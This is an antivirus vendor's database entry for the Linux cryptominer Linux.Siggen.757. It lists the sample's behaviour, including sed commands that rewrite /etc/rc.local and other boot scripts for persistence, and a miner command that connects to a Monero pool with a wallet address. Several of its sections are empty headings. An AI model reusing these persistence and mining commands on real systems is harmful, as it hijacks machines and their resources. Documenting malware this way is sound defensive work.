Linux.Siggen.757

Linux.Siggen.757

Added to the Dr.Web virus database: 2018-07-15

Virus description added: 2018-07-14

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c sed -i -e '/exit/d' /etc/rc.local
sed -i -e /exit/d /etc/rc.local
sh -c sed -i -e '/
sed -i -e /
sh -c sed -i -e '/<SAMPLE> reboot/d' /etc/rc.local
sed -i -e /<SAMPLE> reboot/d /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
sh -c ./tmp/xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.f2pool.com:13531 -u 42YsjttAV8PV5jUBA2o5tu84kve7SQ3Jn8fJpfaivDDQKdPWwUBzALdQPUMQYks5NrcURMqy7fucd9YTNMp87utoHRRoBx1.linux -p x -k
./tmp/xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.f2pool.com:13531 -u 42YsjttAV8PV5jUBA2o5tu84kve7SQ3Jn8fJpfaivDDQKdPWwUBzALdQPUMQYks5NrcURMqy7fucd9YTNMp87utoHRRoBx1.linux -p x -k
sh -c ps -ef|grep xxsdwak<SAMPLE>
ps -ef
grep xxsdwak<SAMPLE>

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity